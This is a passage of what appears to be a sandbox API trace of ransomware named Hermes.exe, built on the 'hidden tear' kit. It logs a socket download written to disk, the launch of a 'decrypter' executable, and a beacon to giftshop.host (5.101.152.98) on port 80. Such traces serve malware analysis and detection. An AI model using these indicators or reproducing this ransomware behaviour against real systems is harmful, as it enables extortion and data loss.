buf=0x300b678*) returned 44800 [0129.893] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0129.893] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 11200 [0129.894] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0129.894] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 36400 [0129.963] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x8e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x8e30, lpOverlapped=0x0) returned 1 [0129.963] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0129.963] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 56000 [0130.078] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0130.079] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xd5b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xd5b0, lpOverlapped=0x0) returned 1 [0130.079] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0130.080] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 53200 [0130.182] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0130.182] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xcac0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xcac0, lpOverlapped=0x0) returned 1 [0130.183] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0130.183] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0130.183] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 50400 [0130.266] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xc4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xc4e0, lpOverlapped=0x0) returned 1 [0130.268] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0130.341] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0130.341] recv (in: s=0x6bc, buf=0x300b678, len=29318, flags=0 | out: buf=0x300b678*) returned 29318 [0130.403] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x7286, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x7286, lpOverlapped=0x0) returned 1 [0130.403] CloseHandle (hObject=0x6b4) returned 1 [0130.578] SystemParametersInfoW (in: uiAction=0x14, uiParam=0x0, pvParam="C:\\Users\\FD1HVy\\Desktop\\Hermes-decrypter-new.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes-decrypter-new.exe"), fWinIni=0x3 | out: pvParam=0x2fb93d4) returned 1 [0130.754] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x1a, wParam=0x14, lParam=0x9d628) returned 0x0 [0130.754] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x1a, wParam=0x14, lParam=0x9d628) returned 0x0 [0130.754] SystemParametersInfoW (in: uiAction=0x26, uiParam=0x0, pvParam=0x19e3f0, fWinIni=0x0 | out: pvParam=0x19e3f0) returned 1 [0130.754] LocalAlloc (uFlags=0x0, uBytes=0x2) returned 0xfda318 [0130.754] PostMessageW (hWnd=0x60030, Msg=0x201a, wParam=0x14, lParam=0xfda318) returned 1 [0130.754] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x1a, wParam=0x14, lParam=0x9d628) returned 0x0 [0130.773] CoTaskMemAlloc (cb=0xf) returned 0x82bdef0 [0130.774] LocalAlloc (uFlags=0x0, uBytes=0x46) returned 0x101aaf8 [0130.775] ShellExecuteExW (in: pExecInfo=0x301c890*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\FD1HVy\\Hermes-decrypter-new.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x301c890*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\FD1HVy\\Hermes-decrypter-new.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x7b4)) returned 1 [0130.775] GetCurrentProcess () returned 0xffffffff [0130.776] GetCurrentProcess () returned 0xffffffff [0130.779] GetCurrentProcess () returned 0xffffffff [0130.779] GetCurrentProcess () returned 0xffffffff [0130.780] GetCurrentProcess () returned 0xffffffff [0130.781] GetCurrentProcess () returned 0xffffffff [0130.781] GetCurrentProcess () returned 0xffffffff [0130.782] GetCurrentProcess () returned 0xffffffff [0130.783] GetCurrentProcess () returned 0xffffffff [0130.783] GetCurrentProcess () returned 0xffffffff [0130.784] GetCurrentProcess () returned 0xffffffff [0130.784] GetCurrentProcess () returned 0xffffffff [0131.097] GetCurrentProcess () returned 0xffffffff [0131.099] GetCurrentProcess () returned 0xffffffff [0131.100] GetCurrentProcess () returned 0xffffffff [0131.100] GetCurrentProcess () returned 0xffffffff [0131.102] GetCurrentProcess () returned 0xffffffff [0131.104] GetCurrentProcess () returned 0xffffffff [0131.105] GetCurrentProcess () returned 0xffffffff [0131.106] GetCurrentProcess () returned 0xffffffff [0131.107] GetCurrentProcess () returned 0xffffffff [0131.108] GetCurrentProcess () returned 0xffffffff [0131.108] GetCurrentProcess () returned 0xffffffff [0131.109] GetCurrentProcess () returned 0xffffffff [0131.110] GetCurrentProcess () returned 0xffffffff [0131.122] GetCurrentProcess () returned 0xffffffff [0131.122] GetCurrentProcess () returned 0xffffffff [0131.125] GetCurrentProcess () returned 0xffffffff [0131.126] GetCurrentProcess () returned 0xffffffff [0131.127] GetCurrentProcess () returned 0xffffffff [0131.128] GetCurrentProcess () returned 0xffffffff [0131.128] GetCurrentProcess () returned 0xffffffff [0131.132] GetCurrentProcess () returned 0xffffffff [0131.133] GetCurrentProcess () returned 0xffffffff [0131.134] GetCurrentProcess () returned 0xffffffff [0131.151] GetCurrentProcess () returned 0xffffffff [0131.152] GetCurrentProcess () returned 0xffffffff [0131.157] GetCurrentProcess () returned 0xffffffff [0131.158] GetCurrentProcess () returned 0xffffffff [0131.159] GetCurrentProcess () returned 0xffffffff [0131.160] GetCurrentProcess () returned 0xffffffff [0131.388] GetCurrentProcess () returned 0xffffffff [0131.388] GetCurrentProcess () returned 0xffffffff [0131.389] GetCurrentProcess () returned 0xffffffff [0131.390] GetCurrentProcess () returned 0xffffffff [0131.390] GetCurrentProcess () returned 0xffffffff [0131.392] GetCurrentProcess () returned 0xffffffff [0131.392] GetCurrentProcess () returned 0xffffffff [0131.393] GetCurrentProcess () returned 0xffffffff [0131.393] GetCurrentProcess () returned 0xffffffff [0131.406] GetCurrentProcess () returned 0xffffffff [0131.407] GetCurrentProcess () returned 0xffffffff [0131.454] GetCurrentProcess () returned 0xffffffff [0131.455] GetCurrentProcess () returned 0xffffffff [0131.461] GetCurrentProcess () returned 0xffffffff [0131.462] GetCurrentProcess () returned 0xffffffff [0131.563] GetCurrentProcess () returned 0xffffffff [0131.563] GetCurrentProcess () returned 0xffffffff [0131.566] GetCurrentProcess () returned 0xffffffff [0131.567] GetCurrentProcess () returned 0xffffffff [0131.568] GetCurrentProcess () returned 0xffffffff [0131.569] GetCurrentProcess () returned 0xffffffff [0131.572] GetCurrentProcess () returned 0xffffffff [0131.572] GetCurrentProcess () returned 0xffffffff [0131.796] GetCurrentProcess () returned 0xffffffff [0131.797] GetCurrentProcess () returned 0xffffffff [0131.798] GetCurrentProcess () returned 0xffffffff [0131.802] GetCurrentProcess () returned 0xffffffff [0131.804] GetCurrentProcess () returned 0xffffffff [0131.805] GetCurrentProcess () returned 0xffffffff [0131.805] GetCurrentProcess () returned 0xffffffff [0131.821] GetCurrentProcess () returned 0xffffffff [0131.822] GetCurrentProcess () returned 0xffffffff [0135.119] GetCurrentProcess () returned 0xffffffff [0135.120] GetCurrentProcess () returned 0xffffffff [0135.121] GetCurrentProcess () returned 0xffffffff [0135.123] GetCurrentProcess () returned 0xffffffff [0135.435] GetCurrentProcess () returned 0xffffffff [0135.436] GetCurrentProcess () returned 0xffffffff [0135.437] GetCurrentProcess () returned 0xffffffff [0135.438] GetCurrentProcess () returned 0xffffffff [0135.440] GetCurrentProcess () returned 0xffffffff [0135.441] GetCurrentProcess () returned 0xffffffff [0135.448] GetCurrentProcess () returned 0xffffffff [0135.449] GetCurrentProcess () returned 0xffffffff [0135.459] GetCurrentProcess () returned 0xffffffff [0135.460] GetCurrentProcess () returned 0xffffffff [0135.480] GetCurrentProcess () returned 0xffffffff [0135.481] GetCurrentProcess () returned 0xffffffff [0135.482] GetCurrentProcess () returned 0xffffffff [0135.482] GetCurrentProcess () returned 0xffffffff [0135.484] GetCurrentProcess () returned 0xffffffff [0135.484] GetCurrentProcess () returned 0xffffffff [0135.717] GetCurrentProcess () returned 0xffffffff [0135.718] GetCurrentProcess () returned 0xffffffff [0135.719] GetCurrentProcess () returned 0xffffffff [0135.720] GetCurrentProcess () returned 0xffffffff [0135.721] GetCurrentProcess () returned 0xffffffff [0135.725] GetCurrentProcess () returned 0xffffffff [0135.726] GetCurrentProcess () returned 0xffffffff [0135.727] GetCurrentProcess () returned 0xffffffff [0135.727] GetCurrentProcess () returned 0xffffffff [0135.733] GetCurrentProcess () returned 0xffffffff [0135.733] GetCurrentProcess () returned 0xffffffff [0135.920] GetCurrentProcess () returned 0xffffffff [0135.921] GetCurrentProcess () returned 0xffffffff [0135.929] GetCurrentProcess () returned 0xffffffff [0135.930] GetCurrentProcess () returned 0xffffffff [0135.931] GetCurrentProcess () returned 0xffffffff [0135.932] GetCurrentProcess () returned 0xffffffff [0135.934] GetCurrentProcess () returned 0xffffffff [0135.935] GetCurrentProcess () returned 0xffffffff [0135.940] GetCurrentProcess () returned 0xffffffff [0135.941] GetCurrentProcess () returned 0xffffffff [0135.943] GetCurrentProcess () returned 0xffffffff [0135.944] GetCurrentProcess () returned 0xffffffff [0135.945] GetCurrentProcess () returned 0xffffffff [0135.946] GetCurrentProcess () returned 0xffffffff [0135.971] GetCurrentProcess () returned 0xffffffff [0135.972] GetCurrentProcess () returned 0xffffffff [0135.977] GetCurrentProcess () returned 0xffffffff [0135.978] GetCurrentProcess () returned 0xffffffff [0136.100] GetCurrentProcess () returned 0xffffffff [0136.101] GetCurrentProcess () returned 0xffffffff [0136.118] LocalFree (hMem=0x101aaf8) returned 0x0 [0136.118] CoTaskMemAlloc (cb=0xe5) returned 0x10406e8 [0136.159] CoTaskMemAlloc (cb=0xf) returned 0x103aa40 [0136.161] CoTaskMemAlloc (cb=0x12) returned 0x104edf0 [0136.163] QueryPerformanceCounter (in: lpPerformanceCount=0x19e78c | out: lpPerformanceCount=0x19e78c*=22216711804) returned 1 [0136.163] SetEvent (hEvent=0x2fc) returned 1 [0136.164] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e594*=0x4a4, lpdwindex=0x19e3b4 | out: lpdwindex=0x19e3b4) returned 0x80010115 [0136.164] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e574*=0x494, lpdwindex=0x19e394 | out: lpdwindex=0x19e394) returned 0x80010115 [0136.165] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e574*=0x49c, lpdwindex=0x19e394 | out: lpdwindex=0x19e394) returned 0x80010115 [0136.165] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5c8*=0x4c4, lpdwindex=0x19e3e4 | out: lpdwindex=0x19e3e4) returned 0x80010115 [0136.166] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5c8*=0x4cc, lpdwindex=0x19e3e4 | out: lpdwindex=0x19e3e4) returned 0x80010115 [0136.166] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5c8*=0x4d4, lpdwindex=0x19e3e4 | out: lpdwindex=0x19e3e4) returned 0x80010115 [0136.166] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6fc [0136.167] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6f8 [0136.167] GetAddrInfoW (in: pNodeName="giftshop.host", pServiceName=0x0, pHints=0x19e4c8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x19e470 | out: ppResult=0x19e470*=0x102a818*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="giftshop.host", ai_addr=0x103aa70*(sa_family=2, sin_port=0x0, sin_addr="5.101.152.98"), ai_next=0x0)) returned 0 [0136.211] FreeAddrInfoW (pAddrInfo=0x102a818*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="giftshop.host", ai_addr=0x103aa70*(sa_family=2, sin_port=0x0, sin_addr="5.101.152.98"), ai_next=0x0)) [0136.211] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e40c*=0x5c8, lpdwindex=0x19e22c | out: lpdwindex=0x19e22c) returned 0x80010115 [0136.212] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e40c*=0x5d0, lpdwindex=0x19e22c | out: lpdwindex=0x19e22c) returned 0x80010115 [0136.212] WSAConnect (in: s=0x6fc, name=0x301e358*(sa_family=2, sin_port=0x50, sin_addr="5.101.152.98"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0136.259] closesocket (s=0x6f8) returned 0 [0136.260] send (s=0x6fc, buf=0x2fca788*, len=147, flags=0) returned 147 [0136.260] setsockopt (s=0x6fc, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0136.260] recv (in: s=0x6fc, buf=0x2ff652c, len=4096, flags=0 | out: buf=0x2ff652c*) returned 229 [0136.348] setsockopt (s=0x6fc, level=65535, optname=4102, optval="\xe0\x93\x04", optlen=4) returned 0 [0136.350] CoTaskMemAlloc (cb=0xb) returned 0x103a890 [0136.892] GetWindowThreadProcessId (in: hWnd=0x7002e, lpdwProcessId=0x19e988 | out: lpdwProcessId=0x19e988) returned 0xf30 [0136.892] GetCurrentThreadId () returned 0xf30 [0136.892] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc172 [0136.892] PostMessageW (hWnd=0x7002e, Msg=0xc172, wParam=0x0, lParam=0x0) returned 1 [0136.892] GetWindowTextLengthW (hWnd=0x7002e) returned 11 [0136.893] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0136.893] GetSystemMetrics (nIndex=42) returned 0 [0136.893] GetWindowTextW (in: hWnd=0x7002e, lpString=0x19e8fc, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0136.893] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xd, wParam=0xc, lParam=0x19e8fc) returned 0xb [0136.895] OleInitialize (pvReserved=0x0) returned 0x1 [0136.895] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x19eeb4 | out: lplpMessageFilter=0x19eeb4*=0x0) returned 0x0 [0136.895] PeekMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee88) returned 1 [0136.896] IsWindowUnicode (hWnd=0x7002e) returned 1 [0136.896] GetMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee88) returned 1 [0136.896] TranslateMessage (lpMsg=0x19ee88) returned 0 [0136.897] DispatchMessageW (lpMsg=0x19ee88) returned 0x0 [0136.897] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x46, wParam=0x0, lParam=0x19ebdc) returned 0x0 [0136.897] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x83, wParam=0x1, lParam=0x19ebb4) returned 0x0 [0136.898] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0136.899] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19e924 | out: lpwndpl=0x19e924) returned 1 [0136.899] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e8d0 | out: lpRect=0x19e8d0) returned 1 [0136.899] GetWindowTextLengthW (hWnd=0x7002e) returned 11 [0136.899] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0136.899] GetSystemMetrics (nIndex=42) returned 0 [0136.899] GetWindowTextW (in: hWnd=0x7002e, lpString=0x19e790, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0136.899] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xd, wParam=0xc, lParam=0x19e790) returned 0xb [0136.899] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e7d8 | out: lpRect=0x19e7d8) returned 1 [0136.899] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0136.899] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0136.899] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x2b0506f6 [0136.899] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0136.899] SaveDC (hdc=0x60100ce) returned 1 [0136.899] GetNearestColor (hdc=0x60100ce, color=0xf0f0f0) returned 0xf0f0f0 [0136.899] CreateSolidBrush (color=0xf0f0f0) returned 0x541006c7 [0136.899] FillRect (hDC=0x60100ce, lprc=0x19e678, hbr=0x541006c7) returned 1 [0136.900] DeleteObject (ho=0x541006c7) returned 1 [0136.900] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0136.900] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19e908 | out: lpwndpl=0x19e908) returned 1 [0136.900] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x47, wParam=0x0, lParam=0x19ebdc) returned 0x0 [0136.900] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e8b8 | out: lpRect=0x19e8b8) returned 1 [0136.900] GetWindowRect (in: hWnd=0x7002e, lpRect=0x19e8b8 | out: lpRect=0x19e8b8) returned 1 [0136.901] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x83, wParam=0x1, lParam=0x19e6f4) returned 0x0 [0136.902] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0136.903] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19e464 | out: lpwndpl=0x19e464) returned 1 [0136.903] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e410 | out: lpRect=0x19e410) returned 1 [0136.903] GetWindowTextLengthW (hWnd=0x7002e) returned 11 [0136.903] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0136.903] GetSystemMetrics (nIndex=42) returned 0 [0136.903] GetWindowTextW (in: hWnd=0x7002e, lpString=0x19e2d0, nMaxCount=12 | out: lpString="hidden tear") returned 11 [0136.903] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0xd, wParam=0xc, lParam=0x19e2d0) returned 0xb [0136.903] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e318 | out: lpRect=0x19e318) returned 1 [0136.903] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0136.904] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0136.904] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x2b0506f6 [0136.904] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0136.904] SaveDC (hdc=0x1e0106e1) returned 1 [0136.904] GetNearestColor (hdc=0x1e0106e1, color=0xf0f0f0) returned 0xf0f0f0 [0136.904] CreateSolidBrush (color=0xf0f0f0) returned 0x551006c7 [0136.904] FillRect (hDC=0x1e0106e1, lprc=0x19e1b8, hbr=0x551006c7) returned 1 [0136.904] DeleteObject (ho=0x551006c7) returned 1 [0136.904] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0136.905] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0136.905] PeekMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee88) returned 1 [0136.905] IsWindowUnicode (hWnd=0x6004e) returned 1 [0136.905] GetMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee88) returned 1 [0136.905] TranslateMessage (lpMsg=0x19ee88) returned 0 [0136.905] DispatchMessageW (lpMsg=0x19ee88) returned 0x0 [0136.905] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0136.905] PeekMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee88) returned 1 [0136.905] IsWindowUnicode (hWnd=0x60030) returned 1 [0136.905] GetMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee88) returned 1 [0136.905] TranslateMessage (lpMsg=0x19ee88) returned 0 [0136.905] DispatchMessageW (lpMsg=0x19ee88) returned 0x0 [0136.907] CoTaskMemAlloc (cb=0x20c) returned 0x82ba2c8 [0136.907] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x82ba2c8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0136.907] CoTaskMemFree (pv=0x82ba2c8) [0136.907] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", nBufferLength=0x105, lpBuffer=0x19e514, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", lpFilePart=0x0) returned 0x22 [0136.907] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", nBufferLength=0x105, lpBuffer=0x19e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", lpFilePart=0x0) returned 0x22 [0136.907] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", nBufferLength=0x105, lpBuffer=0x19e508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", lpFilePart=0x0) returned 0x22 [0136.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e9bc) returned 1 [0136.908] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe"), fInfoLevelId=0x0, lpFileInformation=0x19ea38 | out: lpFileInformation=0x19ea38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0136.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e9b8) returned 1 [0136.908] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", nBufferLength=0x105, lpBuffer=0x19e510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", lpFilePart=0x0) returned 0x22 [0136.908] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", nBufferLength=0x105, lpBuffer=0x19e4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", lpFilePart=0x0) returned 0x22 [0137.191] GetWindowThreadProcessId (in: hWnd=0x401f8, lpdwProcessId=0x19eab4 | out: lpdwProcessId=0x19eab4) returned 0xf30 [0137.191] GetCurrentThreadId () returned 0xf30 [0137.226] GetWindowThreadProcessId (in: hWnd=0x401f8, lpdwProcessId=0x19eab4 | out: lpdwProcessId=0x19eab4) returned 0xf30 [0137.226] GetCurrentThreadId () returned 0xf30 [0137.249] LocalFree (hMem=0xfda158) returned 0x0 [0137.249] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x201a, wParam=0x14, lParam=0xfda158) returned 0x0 [0137.249] PeekMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee88) returned 1 [0137.249] IsWindowUnicode (hWnd=0x60030) returned 1 [0137.249] GetMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee88) returned 1 [0137.249] TranslateMessage (lpMsg=0x19ee88) returned 0 [0137.249] DispatchMessageW (lpMsg=0x19ee88) returned 0x0 [0137.250] GetWindowThreadProcessId (in: hWnd=0x401f8, lpdwProcessId=0x19eab4 | out: lpdwProcessId=0x19eab4) returned 0xf30 [0137.250] GetCurrentThreadId () returned 0xf30 [0137.250] GetWindowThreadProcessId (in: hWnd=0x401f8, lpdwProcessId=0x19eab4 | out: lpdwProcessId=0x19eab4) returned 0xf30 [0137.250] GetCurrentThreadId () returned 0xf30 [0137.250] LocalFree (hMem=0xfda458) returned 0x0 [0137.250] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x201a, wParam=0x14, lParam=0xfda458) returned 0x0 [0137.250] PeekMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee88) returned 1 [0137.250] IsWindowUnicode (hWnd=0x60030) returned 1 [0137.250] GetMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee88) returned 1 [0137.250] TranslateMessage (lpMsg=0x19ee88) returned 0 [0137.250] DispatchMessageW 